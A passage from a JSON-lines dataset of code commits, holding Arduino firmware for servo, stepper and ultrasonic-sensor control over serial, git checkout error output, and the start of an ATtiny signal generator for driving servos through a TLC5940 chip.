trigger\n\n\t\t\tpinMode(trigPin, OUTPUT);\n\t\t\tpinMode(echoPin, INPUT);\n\n\t\t\tdigitalWrite(trigPin, LOW);\n\t\t\tdelayMicroseconds(2);\n\n\t\t\tdigitalWrite(trigPin, HIGH);\n\t\t\tdelayMicroseconds(10);\n\n\t\t\tdigitalWrite(trigPin, LOW);\n\t\t\tunsigned long duration = pulseIn(echoPin, HIGH);\n\n\t\t\t\/\/Calculate the distance (in cm) based on the speed of sound.\n\t\t\t\/\/ distance = duration\/58.2;\n\n\t\t\t\/\/sendMsg(4, ANALOG_VALUE, analogReadPin[i], readValue >> 8, readValue & 0xff);\n \t\t\t\/\/sendMsg(5, PULSE_IN, duration >> 24, duration >> 16, duration >> 8, duration & 0xff);\n \t\t\t\/\/sendMsg(6, SENSOR_DATA, 47, duration >> 24, duration >> 16, duration >> 8, duration & 0xff);\n\n\n\t\t\tSerial.write(MAGIC_NUMBER);\n\t\t\tSerial.write(5); \/\/ size 1 FN + 4 bytes of unsigned long\n\t\t\tSerial.write(PULSE_IN);\n \/\/ write the long value out\n\t\t\tSerial.write((byte)(duration >> 24));\n\t\t\tSerial.write((byte)(duration >> 16));\n\t\t\tSerial.write((byte)(duration >> 8));\n\t\t\tSerial.write((byte)duration & 0xff);\n\n\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SET_SAMPLE_RATE:{\n\t\t\t\/\/ 2 byte int - valid range 1-65,535\n\t\t\tsampleRate = (ioCmd[1]<<8) + ioCmd[2];\n\t\t\tif (sampleRate == 0)\n\t\t\t\t{ sampleRate = 1; } \/\/ avoid \/0 error - FIXME - time estimate param\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SOFT_RESET:{\n\t\t\tsoftReset();\n\t\t\tbreak;\n\t\t}\n\n\t\tcase STEPPER_ATTACH:{\n\t\t\tstepper_type& stepper = steppers[ioCmd[1]];\n\t\t\tstepper.index = ioCmd[1];\n\t\t\tstepper.type = ioCmd[2];\n\t\t\tstepper.currentPos = 0;\n\t\t\tstepper.targetPos = 0;\n\t\t\tstepper.speed = 100;\n\n\t\t\tif (stepper.type == STEPPER_TYPE_SIMPLE) {\n\t\t\t\tstepper.dirPin = ioCmd[3]; \/\/ dir pin\n\t\t\t\tstepper.stepPin = ioCmd[4]; \/\/ step pin\n\t\t\t\tpinMode(stepper.dirPin, OUTPUT);\n\t\t\t\tpinMode(stepper.stepPin, OUTPUT);\n\t\t\t} else {\n\t\t\t\tsendError(ERROR_UNKOWN_CMD);\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\tcase STEPPER_RESET:{\n\t\t\tstepper_type& stepper = steppers[ioCmd[1]];\n\t\t\tstepper.currentPos = 0;\n\t\t\tstepper.targetPos = 0;\n\t\t\tstepper.speed = 100;\n\t\t\tbreak;\n\t\t}\n\n\t\t\/* absolute position - not relative *\/\n\t\tcase STEPPER_MOVE_TO:{\n\t\t\tstepper_type& stepper = steppers[ioCmd[1]];\n\t\t\tif (stepper.type == STEPPER_TYPE_SIMPLE) {\n\t\t\t\tstepper.targetPos = stepper.currentPos + (ioCmd[2]<<8) + ioCmd[3];\n\t\t\t\t\/\/ relative position & direction\n\t\t\t\tif (stepper.targetPos < 0) {\n\t\t\t\t\t\/\/ direction\n\t\t\t\t\tdigitalWrite(stepper.dirPin, 1);\n\t\t\t\t} else {\n\t\t\t\t\tdigitalWrite(stepper.dirPin, 0);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tsendError(ERROR_UNKOWN_CMD);\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\tcase STEPPER_STOP:{\n\t\t\tstepper_type& stepper = steppers[ioCmd[1]];\n\t\t\tif (stepper.type == STEPPER_TYPE_SIMPLE) {\n\t\t\t\tstepper.targetPos = stepper.currentPos;\n\t\t\t\tsendStepperEvent(stepper, STEPPER_EVENT_STOP);\n\t\t\t} else {\n\t\t\t\tsendError(ERROR_UNKOWN_CMD);\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\t\t\/\/ --VENDOR CODE BEGIN--\n\t\t\t\/\/ --VENDOR CODE END--\n\/\/ not sure if its worth implementing - same info can be retrieved from publish servo event & publish pin\n\/*\n\n\t\tcase PINGDAR_ATTACH:{\n\t\t\tint pingdarIndex = ioCmd[1];\n\t\t\tpingdar_type& pingdar = pingdars[pingdarIndex];\n\t\t\tpingdar.servoIndex = ioCmd[2];\n\t\t\tpingdar.sensorIndex = ioCmd[3];\n\t\t\tpingdar.step = 1;\n\t\t\tbreak;\n\t\t}\n*\/\n\t\t\/\/ used by ultrasonic sensor\n\t\tcase SENSOR_ATTACH:{\n\t\t\tint sensorIndex = ioCmd[1];\n\t\t\tsensor_type& sensor = sensors[sensorIndex];\n\t\t\tsensor.type = ioCmd[2];\n\n\n\n\t\t\t\/\/ initialize based on sensor type\n\t\t\tif (sensor.type == SENSOR_ULTRASONIC){\n\t\t\t\tsensor.trigPin = ioCmd[3];\n\t\t\t\tsensor.echoPin = ioCmd[4];\n\t\t\t\tpinMode(sensor.trigPin, OUTPUT);\n\t\t\t\tpinMode(sensor.echoPin, INPUT);\n\t\t\t\t\/\/sensor.ping = new NewPing(sensor.trigPin, sensor.echoPin, 100);\n\t\t\t}\n\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SENSOR_POLLING_START:{\n\t\t\tint sensorIndex = ioCmd[1];\n\t\t\tsensor_type& sensor = sensors[sensorIndex];\n\t\t\tsensor.isRunning = true;\n\n\t\t\t\/\/ I'm used to ms - and would need to change some\n\t\t\t\/\/ interfaces if i was to support inbound longs\n\t\t\t\/\/sensor.timeoutUS = ioCmd[2] * 1000;\n\t\t\tsensor.timeoutUS = 20000; \/\/ 20 ms\n\t\t\tsensor.state = ECHO_STATE_START;\n\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SENSOR_POLLING_STOP:{\n\t\t\tint sensorIndex = ioCmd[1];\n\t\t\tsensor_type& sensor = sensors[sensorIndex];\n\t\t\tsensor.isRunning = false;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase NOP:{\n\t\t\t\/\/ No Operation\n\t\t\tbreak;\n\t\t}\n\n\t\tdefault:{\n\t\t sendError(ERROR_UNKOWN_CMD);\n\t\t\tbreak;\n\t\t}\n\t\t} \/\/ end switch\n\n\t\t\/\/ reset buffer\n\t\tmemset(ioCmd,0,sizeof(ioCmd));\n\t\tbyteCount = 0;\n\n\t} \/\/ if getCommand()\n\n\t\/\/ all reads are affected by sample rate\n\tif (loopCount%sampleRate == 0) {\n\t\t\/\/ digital polling read - send data for pins which are currently in INPUT mode only AND whose state has changed\n\t\tfor (int i = 0; i < digitalReadPollingPinCount; ++i)\n\t\t{\n\t\t\tif (debounceDelay)\n\t\t\t{\n\t\t\t if (millis() - lastDebounceTime[digitalReadPin[i]] < debounceDelay)\n\t\t\t {\n\t\t\t continue;\n\t\t\t }\n\t\t\t}\n\n\t\t\t\/\/ FIXME !! - normalize with analog\n\t\t\t\/\/ read the pin\n\t\t\treadValue = digitalRead(digitalReadPin[i]);\n\n\t\t\t\/\/ if my value is different from last time && config - send it\n\t\t\tif (lastDigitalInputValue[digitalReadPin[i]] != readValue || !digitalTriggerOnly)\n\t\t\t{\n\t\t\t\tSerial.write(MAGIC_NUMBER);\n\t\t\t\tSerial.write(4); \/\/ size\n\t\t\t\tSerial.write(PUBLISH_PIN);\n\t\t\t\tSerial.write(digitalReadPin[i]);\/\/ Pin#\n\t\t\t\tSerial.write(0); \t\/\/ MSB\n\t\t\t\tSerial.write(readValue); \t\/\/ LSB\n\n\t\t\t lastDebounceTime[digitalReadPin[i]] = millis();\n\t\t\t}\n\n\t\t\t\/\/ set the last input value of this pin\n\t\t\tlastDigitalInputValue[digitalReadPin[i]] = readValue;\n\t\t}\n\n\n\t\t\/\/ analog polling read - send data for pins which are currently in INPUT mode only AND whose state has changed\n\t\tfor (int i = 0; i < analogReadPollingPinCount; ++i)\n\t\t{\n\t\t\t\/\/ read the pin\n\t\t\treadValue = analogRead(analogReadPin[i]);\n\n\t\t\t\/\/ if my value is different from last time - send it\n\t\t\tif (lastAnalogInputValue[analogReadPin[i]] != readValue || !analogTriggerOnly) \/\/TODO - SEND_DELTA_MIN_DIFF\n\t\t\t{\n\t\t\t\t\/\/sendMsg(4, ANALOG_VALUE, analogReadPin[i], readValue >> 8, readValue & 0xff);\n\n\t\t\t\tSerial.write(MAGIC_NUMBER);\n\t\t\t\tSerial.write(4); \/\/size\n\t\t\t\tSerial.write(PUBLISH_PIN);\n\t\t\t\tSerial.write(analogReadPin[i]);\n\t\t\t\tSerial.write(readValue >> 8); \/\/ MSB\n\t\t\t\tSerial.write(readValue & 0xff);\t\/\/ LSB\n\n\t }\n\t\t\t\/\/ set the last input value of this pin\n\t\t\tlastAnalogInputValue[analogReadPin[i]] = readValue;\n\t\t}\n\t}\n\n\t\/\/ update moving servos - send events if required\n\tfor (int i = 0; i < MAX_SERVOS; ++i)\n\t{\n\t\tservo_type& s = servos[i];\n\t\tif (s.isMoving && s.servo != 0){\n\t\t\tif (s.currentPos != s.targetPos)\n\t\t\t{\n\t\t\t\t\/\/ caclulate the appropriate modulus to drive\n\t\t\t\t\/\/ the servo to the next position\n\t\t\t\t\/\/ TODO - check for speed > 0 && speed < 100 - send ERROR back?\n\t\t\t\tint speedModulus = (100 - s.speed) * 10;\n\t\t\t\tif (loopCount % speedModulus == 0)\n\t\t\t\t{\n\t\t\t\t\tint increment = s.step * ((s.currentPos < s.targetPos)?1:-1);\n\t\t\t\t\t\/\/ move the servo an increment\n\t\t\t\t\ts.currentPos = s.currentPos + increment;\n\t\t\t\t\ts.servo->write(s.currentPos);\n\t\t\t\t\tif (s.eventsEnabled) sendServoEvent(s, SERVO_EVENT_POSITION_UPDATE);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif (s.isSweeping) {\n\t\t\t\t\tif (s.targetPos == s.min){\n\t\t\t\t\t\ts.targetPos = s.max;\n\t\t\t\t\t} else {\n\t\t\t\t\t\ts.targetPos = s.min;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tif (s.eventsEnabled) sendServoEvent(s, SERVO_EVENT_STOPPED);\n\t\t\t\t\ts.isMoving = false;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tunsigned long ts;\n\n\tfor (int i = 0; i < SENSORS_MAX; ++i) {\n\t\tsensor_type& sensor = sensors[i];\n\t\tif (sensor.isRunning == true){\n\t\t\tif (sensor.type == SENSOR_ULTRASONIC){\n\n\t\t\t\t\/\/ we are running & have an ultrasonic (ping) sensor\n\t\t\t\t\/\/ check to see what state we are in\n\n\t\t\t\tif (sensor.state == ECHO_STATE_START){\n\t\t\t\t\t\/\/ trigPin prepare - start low for an\n\t\t\t\t\t\/\/ upcoming high pulse\n\t\t\t\t\tpinMode(sensor.trigPin, OUTPUT);\n\t\t\t\t\tdigitalWrite(sensor.trigPin, LOW);\n\n\t\t\t\t\t\/\/ put the echopin into a high state\n\t\t\t\t\t\/\/ is this necessary ???\n\t\t\t\t\tpinMode(sensor.echoPin, OUTPUT);\n\t\t\t\t\tdigitalWrite(sensor.echoPin, HIGH);\n\n\t\t\t\t\tts = micros();\n\t\t\t\t\tif (ts - sensor.ts > 2){\n\t\t\t\t\t\tsensor.ts = ts;\n\t\t\t\t\t\tsensor.state = ECHO_STATE_TRIG_PULSE_BEGIN;\n\t\t\t\t\t}\n\t\t\t\t} else if (sensor.state == ECHO_STATE_TRIG_PULSE_BEGIN){\n\n\t\t\t\t\t\/\/ begin high pulse for at least 10 us\n\t\t\t\t\tpinMode(sensor.trigPin, OUTPUT);\n\t\t\t\t\tdigitalWrite(sensor.trigPin, HIGH);\n\n\t\t\t\t\tts = micros();\n\t\t\t\t\tif (ts - sensor.ts > 10){\n\t\t\t\t\t\tsensor.ts = ts;\n\t\t\t\t\t\tsensor.state = ECHO_STATE_TRIG_PULSE_END;\n\t\t\t\t\t}\n\t\t\t\t} else if (sensor.state == ECHO_STATE_TRIG_PULSE_END){\n\t\t\t\t\t\/\/ end of pulse\n\t\t\t\t\tpinMode(sensor.trigPin, OUTPUT);\n\t\t\t\t\tdigitalWrite(sensor.trigPin, LOW);\n\n\t\t\t\t\tsensor.state = ECHO_STATE_MIN_PAUSE_PRE_LISTENING;\n\t\t\t\t\tsensor.ts = micros();\n\t\t\t\t} else if (sensor.state == ECHO_STATE_MIN_PAUSE_PRE_LISTENING){\n\n\t\t\t\t\tts = micros();\n\t\t\t\t\tif (ts - sensor.ts > 1500){\n\t\t\t\t\t\tsensor.ts = ts;\n\n\t\t\t\t\t\t\/\/ putting echo pin into listen mode\n\t\t\t\t\t\tpinMode(sensor.echoPin, OUTPUT);\n\t\t\t\t\t\tdigitalWrite(sensor.echoPin, HIGH);\n\t\t\t\t\t\tpinMode(sensor.echoPin, INPUT);\n\n\t\t\t\t\t\tsensor.state = ECHO_STATE_LISTENING;\n\t\t\t\t\t}\n\n\t\t\t\t} else if (sensor.state == ECHO_STATE_LISTENING) {\n\t\t\t\t\t\/\/ timeout or change states..\n\t\t\t\t\tint value = digitalRead(sensor.echoPin);\n\t\t\t\t\tts = micros();\n\n\t\t\t\t\tif (value == LOW) {\n\t\t\t\t\t\tsensor.lastValue = ts - sensor.ts;\n\t\t\t\t\t\tsensor.ts = ts;\n\t\t\t\t\t\tsensor.state = ECHO_STATE_GOOD_RANGE;\n\t\t\t\t\t} else if (ts - sensor.ts > sensor.timeoutUS) {\n\t\t\t\t\t\tsensor.state = ECHO_STATE_TIMEOUT;\n\t\t\t\t\t\tsensor.ts = ts;\n\t\t\t\t\t\tsensor.lastValue = 0;\n\t\t\t\t\t}\n\n\t\t\t\t} else if (sensor.state == ECHO_STATE_GOOD_RANGE || sensor.state == ECHO_STATE_TIMEOUT) {\n\t\t\t\t\tSerial.write(MAGIC_NUMBER);\n\t\t\t\t\tSerial.write(6); \/\/ size 1 FN + 4 bytes of unsigned long\n\t\t\t\t\tSerial.write(PUBLISH_SENSOR_DATA);\n\t\t\t\t\tSerial.write(i);\n\t\t \/\/ write the long value out\n\t\t\t\t\tSerial.write((byte)(sensor.lastValue >> 24));\n\t\t\t\t\tSerial.write((byte)(sensor.lastValue >> 16));\n\t\t\t\t\tSerial.write((byte)(sensor.lastValue >> 8));\n\t\t\t\t\tSerial.write((byte) sensor.lastValue & 0xff);\n\t\t\t\t\tsensor.state = ECHO_STATE_START;\n\t\t\t\t} \/\/ end else if\n\n\t\t\t} \/\/ if (sensor.type == SENSOR_ULTRASONIC)\n\n\t\t} \/\/ end isRunning\n\n\t} \/\/ end for each sensor\n\n\t\/\/ TODO - brake - speed - fractional stepping - other stepper types\n\tfor (int i = 0; i < STEPPERS_MAX; ++i) {\n\t\tstepper_type& stepper = steppers[i];\n\t\tif (stepper.currentPos != stepper.targetPos){\n\t\t\tif (stepper.type == STEPPER_TYPE_SIMPLE){\n\n\t\t\t\t\/\/ direction is already set in initial STEPPER_MOVE\n\n\t\t\t\tif (stepper.currentPos < stepper.targetPos) {\n\t\t\t\t\tdigitalWrite(stepper.stepPin, 1);\n\t\t\t\t\tdelayMicroseconds(1); \/\/ :P should require another state? loop is ~106us min ?\n\t\t\t\t\tdigitalWrite(stepper.stepPin, 0);\n\t\t\t\t\tstepper.currentPos++;\n\t\t\t\t\tsendStepperEvent(stepper, STEPPER_EVENT_STEP);\n\n\t\t\t\t} else if (stepper.currentPos > stepper.targetPos) {\n\t\t\t\t\tdigitalWrite(stepper.stepPin, 1);\n\t\t\t\t\tdelayMicroseconds(1); \/\/ :P should require another state? loop is ~106us min ?\n\t\t\t\t\tdigitalWrite(stepper.stepPin, 0);\n\t\t\t\t\tstepper.currentPos--;\n\t\t\t\t\tsendStepperEvent(stepper, STEPPER_EVENT_STEP);\n\t\t\t\t}\n\n\t\t\t\tif (stepper.currentPos == stepper.targetPos){\n\t\t\t\t\tsendStepperEvent(stepper, STEPPER_EVENT_STOP);\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t}\n\n\t\/\/ FIXME - fix overflow with getDiff() method !!!\n\tunsigned long now = micros();\n\tloadTime = now - lastMicros; \/\/ avg outside\n \tlastMicros = now;\n\n\t\/\/ report load time\n\tif (loadTimingEnabled && (loopCount%loadTimingModulus == 0)) {\n\n \t\t\/\/ send it\n\t\tSerial.write(MAGIC_NUMBER);\n\t\tSerial.write(5); \/\/ size 1 FN + 4 bytes of unsigned long\n\t\tSerial.write(PUBLISH_LOAD_TIMING_EVENT);\n \/\/ write the long value out\n\t\tSerial.write((byte)(loadTime >> 24));\n\t\tSerial.write((byte)(loadTime >> 16));\n\t\tSerial.write((byte)(loadTime >> 8));\n\t\tSerial.write((byte) loadTime & 0xff);\n\t}\n\n\n} \/\/ end of big loop\n\nunsigned long getUltrasonicRange(sensor_type& sensor){\n\n\t\t\/\/ added for sensors which have single pin !\n\t\tpinMode(sensor.trigPin, OUTPUT);\n\t\tdigitalWrite(sensor.trigPin, LOW);\n\t\tdelayMicroseconds(2);\n\n\t\tdigitalWrite(sensor.trigPin, HIGH);\n\t\tdelayMicroseconds(10);\n\n\t\tdigitalWrite(sensor.trigPin, LOW);\n\n\t\t\/\/ added for sensors which have single pin !\n\t\tpinMode(sensor.echoPin, INPUT);\n\t\t\/\/ CHECKING return pulseIn(sensor.echoPin, HIGH, sensor.timeoutUS);\n\t\t\/\/ TODO - adaptive timeout ? - start big - pull in until valid value - push out if range is coming close\n\t\treturn pulseIn(sensor.echoPin, HIGH);\n}\n\nvoid sendServoEvent(servo_type& s, int eventType){\n \t\/\/ check type of event - STOP vs CURRENT POS\n\n\tSerial.write(MAGIC_NUMBER);\n\tSerial.write(5); \/\/ size = 1 FN + 1 INDEX + 1 eventType + 1 curPos\n\tSerial.write(PUBLISH_SERVO_EVENT);\n\tSerial.write(s.index); \/\/ send my index\n\t\/\/ write the long value out\n\tSerial.write(eventType);\n\tSerial.write(s.currentPos);\n\tSerial.write(s.targetPos);\n}\n\nvoid sendStepperEvent(stepper_type& s, int eventType){\n \t\/\/ check type of event - STOP vs CURRENT POS\n\n\tSerial.write(MAGIC_NUMBER);\n\tSerial.write(5); \/\/ size = 1 FN + 1 INDEX + 1 eventType + 1 curPos\n\tSerial.write(PUBLISH_STEPPER_EVENT);\n\tSerial.write(s.index); \/\/ send my index\n\t\/\/ write the long value out\n\tSerial.write(eventType);\n\tSerial.write(s.currentPos >> 8); \/\/ msb\n\tSerial.write(s.currentPos & 0xff); \/\/ lsb\n}\n\n\nvoid sendError(int type){\n\tSerial.write(MAGIC_NUMBER);\n\tSerial.write(2); \/\/ size = 1 FN + 1 TYPE\n\tSerial.write(PUBLISH_MRLCOMM_ERROR);\n\tSerial.write(type);\n}\n\n\/* SEEMED LIKE A GOOD IDEA NOT !!!!\nvoid sendMsg ( int num, ... )\n{\n\tva_list arguments;\n\t\/\/ Initializing arguments to store all values after num\n\tva_start ( arguments, num );\n\n\t\/\/ write header\n\tmsgBuf[0] = MAGIC_NUMBER;\n\tmsgBuf[1] = num;\n\n\t\/\/ copies msg payload to buffer after header\n\tfor ( int x = 2; x < num+2; x++ )\n\t{\n\t\tmsgBuf[x] = (byte) va_arg ( arguments, int );\n\t}\n\tva_end ( arguments ); \/\/ Cleans up the list\n\tSerial.write(msgBuf, num + 2);\n\treturn;\n}\n*\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'home\/Alessandruino\/MRLCommOculus4.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"adb101320a164b2c00c274b0e0508b1b6bf86025","subject":"beautify","message":"beautify\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Commands.ino","new_file":"ArduinoClient\/Commands.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"26101d50e87c4aebd752b68efc74b26a4d57bc72","subject":"Attiny TLC5940 signal generator code","message":"Attiny TLC5940 signal generator code\n","repos":"snhack\/Quadruloop,snhack\/Quadruloop,snhack\/Quadruloop,snhack\/Quadruloop,snhack\/Quadruloop","old_file":"software\/firmware\/AtTinyTLC5940Hybrid\/AtTinyTLC5940Hybrid.ino","new_file":"software\/firmware\/AtTinyTLC5940Hybrid\/AtTinyTLC5940Hybrid.ino","new_contents":"\/*\n * Chip AtTiny84A @ 8MHz - build via Arduino IDE\n * \n * Pins:\n * 2 - Blank Out\n * 3 - XLAT Out\n * 5 - GSCLK Out\n * 12 - Latch LED\n * 13 - XLAT IN (with external 10K pull up resistor)\n * \n * This code acts as a helper signal generator for using a TLC5940 \n * \"led\" driver chip to run servos. It generates the GSCLK pulse\n * and Blank and XLAT pulses.\n * \n * Data is clocked into the TLS5940 by another microcontroller, eg\n * in the case of the Hexaloop, a NodeMCU ESP8266 chip.\n * \n * The \"other\" microcontroller then sends the XLAT pulse to this ATTiny\n * which passes it on the the TLC5940 and fires the BLANK signal at the \n * right time.\n * \n * The GSCLK signal is started after the first XLAT pulse so that \n * the \"other\" microcontroller has chance to clock in an inital set\n * of servo positions.\n * \n * This code is heavily based on code found on the internet for \n * running LEDs on the TLC5940 from an ATTiny. (hence a lot is commented)\n * \n * Note also that clocking in new servo positions too frequently causes\n * servo jitter, so you should update the servo positions no more than\n * every 25ms or so.\n * \n * Robert Longbottom, 2015\n *\/\n\n#include <avr\/io.h>\n#include <avr\/interrupt.h>\n\n\/*------------------------------------------------------------------------\n User configurable values\n------------------------------------------------------------------------*\/\n\n\/\/#ifndef NUM_TLC5940s\n\/\/#define NUM_TLC5940s 2\n\/\/#endif\n\n\n\/*------------------------------------------------------------------------\n Standard data types\n------------------------------------------------------------------------*\/\n#include <stdint.h>\ntypedef uint8_t byte;\ntypedef int16_t int16;\ntypedef uint16_t uint16;\n\n\/*------------------------------------------------------------------------\n Servo settings\n------------------------------------------------------------------------*\/\n\/** The maximum angle of the servo. *\/\n\/\/#define SERVO_MAX_ANGLE 180\n\/** The 1ms pulse width for zero degrees (0 - 4095). *\/\n\/\/#define SERVO_MIN_WIDTH 140\n\/** The 2ms pulse width for 180 degrees (0 - 4095). *\/\n\/\/#define SERVO_MAX_WIDTH 490\n\n\/*------------------------------------------------------------------------\n Speed of timers\n------------------------------------------------------------------------*\/\n\/\/ Timer 0 flips OC0A every (GSCLK_TIM+1) clock cycles\n\/\/ With a setting of \"1\" we get a complete clock pulse every 4 CPU cycles\n\/\/ ie. A 2mHz GSCLK at 8mHz CPU speed\n\/\/#define GSCLK_TIM 1\n#define GSCLK_TIM 18 \/\/ RL, trial and error with an oscilloscope for servo control\n\n\/\/ How many CPU cycles in a complete GSCLK pulse\n#define GSCLK_CYCLES (2*(GSCLK_TIM+1))\n\n\/*------------------------------------------------------------------------\n Chip-specific things\n\n Most of the pin definitions can't be changed\n------------------------------------------------------------------------*\/\n\n#if defined(__AVR_ATtiny84__)\n\n\/\/ Pin definitions for ATtiny84\n#define BLANK_PIN PB0\n#define XLAT_PIN PB1\n#define GSCLK_PIN PB2 \/* Must be OC0A *\/\n#define PIN_LED 1\n\/\/#define SERIAL_CLK PA4\n\/\/#define SERIAL_OUT PA5\n\/\/#define SERIAL_DDR DDRA \/* Where the serial direction bits are *\/\n\/\/#define SERIAL_PORT PORTA \/* Where the serial output pins are *\/\n\nvoid initHardwareTimers()\n{\n \/\/ Timer 0 -> 2MHz GSCLK output on OC0A\n TCCR0A=0; TCCR0B=0; \/\/ Stop the timer\n TIMSK0 = 0; \/\/ No interrupts from this timer\n TCNT0 = 0; \/\/ Counter starts at 0\n OCR0A = GSCLK_TIM; \/\/ Timer restart value\n TCCR0A = _BV(WGM01) \/\/ CTC mode\n |_BV(COM0A0); \/\/ Toggle OC0A output on every timer restart\n TCCR0B = _BV(CS00); \/\/ Start timer, no prescale\n\n \/\/ Timer 1 -> Generate an interrupt every 4096 GSCLK pulses\n TCCR1A=0; TCCR1B = 0; \/\/ Stop the timer\n TCNT1 = 0; \/\/ Counter starts at 0\n OCR1A = 0; \/\/ Where the interrupt happens during the count\n ICR1 = GSCLK_CYCLES*4; \/\/ There's four clock cycles for every CSCLK and 4096 per PWM cycle\n TIMSK1 = _BV(OCIE1A); \/\/ Interrupt every time the timer passes zero\n TCCR1A = 0; \/\/ No outputs on chip pins\n TCCR1C = 0; \/\/ Just in case...\n TCCR1B = _BV(WGM12) \/\/ Start timer, CTC mode\n |_BV(WGM13) \/\/ Start timer, CTC mode\n |_BV(CS12) \/\/ div1024 prescale\n |_BV(CS10); \/\/ div1024 prescale\n}\n\n#elif defined (__AVR_ATtiny85__)\n\n\/\/ Pin definitions for ATtiny85\n#define BLANK_PIN PB3\n#define XLAT_PIN PB4\n#define GSCLK_PIN PB0 \/* Must be OC0A *\/\n\/\/#define SERIAL_CLK PB2\n\/\/#define SERIAL_OUT PB1\n\/\/#define SERIAL_DDR DDRB \/* Where the serial direction bits are *\/\n\/\/#define SERIAL_PORT PORTB \/* Where the serial output pins are *\/\n\nvoid initHardwareTimers()\n{\n \/\/ Timer 0 -> 2MHz GSCLK output on OC0A\n TCCR0A=0; TCCR0B=0; \/\/ Stop the timer\n TIMSK = 0; \/\/ No interrupts from this timer\n TCNT0 = 0; \/\/ Counter starts at 0\n OCR0A = GSCLK_TIM; \/\/ Timer restart value\n TCCR0A = _BV(WGM01) \/\/ CTC mode\n |_BV(COM0A0); \/\/ Toggle OC0A output on every timer restart\n TCCR0B = _BV(CS00); \/\/ Start timer, no prescale\n\n \/\/ Timer 1 -> Generate an interrupt every 4096 GSCLK pulses\n TCCR1=0; GTCCR=0; \/\/ Stop the timer\n TCNT1 = 0; \/\/ Counter starts at 0\n OCR1A = 0; \/\/ Where the interrupt happens during the count\n OCR1C = GSCLK_CYCLES; \/\/ Prescaler is 4096...total clocks is 4096*GSCLK_CYCLES\n TIMSK = _BV(OCIE1A); \/\/ Interrupt every time the timer passes zero\n TCCR1 = _BV(CTC1) \/\/ Start timer, CTC mode\n |_BV(CS10) \/\/ Prescale=4096\n |_BV(CS12)\n |_BV(CS13);\n}\n\n#else\n unsupported_chip;\n#endif\n\n\/*------------------------------------------------------------------------\n Interrupt handler - BLANK and XLAT are sent here\n------------------------------------------------------------------------*\/\n\/\/ Set this flag whenever you want an XLAT bit to be sent\nstatic bool doXLAT = false;\n\n\/\/ Interrupt called at the end of each PWM cycle - do BLANK\/XLAT here\nISR(TIM1_COMPA_vect) \/\/ nb. *NOT* \"TIMER1_COMPA_vect\"\n{\n if (doXLAT) {\n PORTB |= _BV(BLANK_PIN)|_BV(XLAT_PIN);\n doXLAT = false;\n PINB = _BV(XLAT_PIN); \/\/ XLAT low\n }\n else {\n PORTB |= _BV(BLANK_PIN);\n }\n PINB = _BV(BLANK_PIN); \/\/ BLANK low\n}\n\n\/*------------------------------------------------------------------------\n The TLC5940 controller\n------------------------------------------------------------------------*\/\nclass Tiny5940 {\n\/*\n typedef byte pwm_index_type;\n byte pwmData[24*NUM_TLC5940s];\n void sendByte(byte b) {\n \/\/ Put the byte in the USI data register\n USIDR = b;\n \/\/ Send it\n#define tick USICR = _BV(USIWM0)|_BV(USITC)\n#define tock USICR = _BV(USIWM0)|_BV(USITC)|_BV(USICLK);\n tick; tock; tick; tock;\n tick; tock; tick; tock;\n tick; tock; tick; tock;\n tick; tock; tick; tock;\n }\n *\/\npublic:\n void init() {\n cli(); \/\/ The system may already have interrupts running on the timers, disable them\n DDRB |= _BV(BLANK_PIN)|_BV(XLAT_PIN)|_BV(GSCLK_PIN); \/\/ All port B pins as outputs\n PORTB |= _BV(BLANK_PIN); \/\/ BLANK pin high (stop the TLC5940, disable all output)\n initHardwareTimers();\n \/\/setAll(0);\n PINB = _BV(XLAT_PIN);\n PINB = _BV(XLAT_PIN);\n \/\/update();\n sei();\n }\n \/*\n void setAll(uint16 value) {\n for (pwm_index_type i=0; i<16*NUM_TLC5940s; ++i) {\n set(i,value);\n }\n }\n void set(pwm_index_type channel, uint16 value) {\n if (channel < (16*NUM_TLC5940s)) {\n \/\/ Pointer to a pair of packed PWM values\n byte *pwmPair = pwmData+((channel>>1)*3);\n if (channel&1) {\n \/\/ Replace high part of pair\n pwmPair[1] = (pwmPair[1]&0x0f) | ((value<<4)&0xf0);\n pwmPair[2] = value >> 4;\n }\n else {\n \/\/ Replace low part of pair\n pwmPair[0] = value&0xff;\n pwmPair[1] = (pwmPair[1]&0xf0) | ((value>>8)&0x0f);\n }\n }\n }\n*\/\n\/** Converts and angle (0 - SERVO_MAX_ANGLE) to the inverted tlc channel value\n (4095 - 0). *\/\n\/* \nuint16_t angleToVal(uint8_t angle)\n{\n return 4095 - SERVO_MIN_WIDTH - (\n ((uint16_t)(angle) * (uint16_t)(SERVO_MAX_WIDTH - SERVO_MIN_WIDTH))\n \/ SERVO_MAX_ANGLE);\n}\n *\/\n \/** Sets a servo on channel to angle.\n \\param channel which channel to set\n \\param angle (0 - SERVO_MAX_ANGLE) *\/\n \/*\nvoid setServo(byte channel, uint8_t angle)\n{\n set(channel, angleToVal(angle));\n}\n\nvoid setAllServo(uint8_t angle)\n{\n setAll(angleToVal(angle));\n}\n\n \n bool update() {\n \/\/ Still busy sending the previous values?\n if (doXLAT) {\n \/\/ Yes, return immediately\n return false;\n }\n\n \/\/ Set up USI to send the 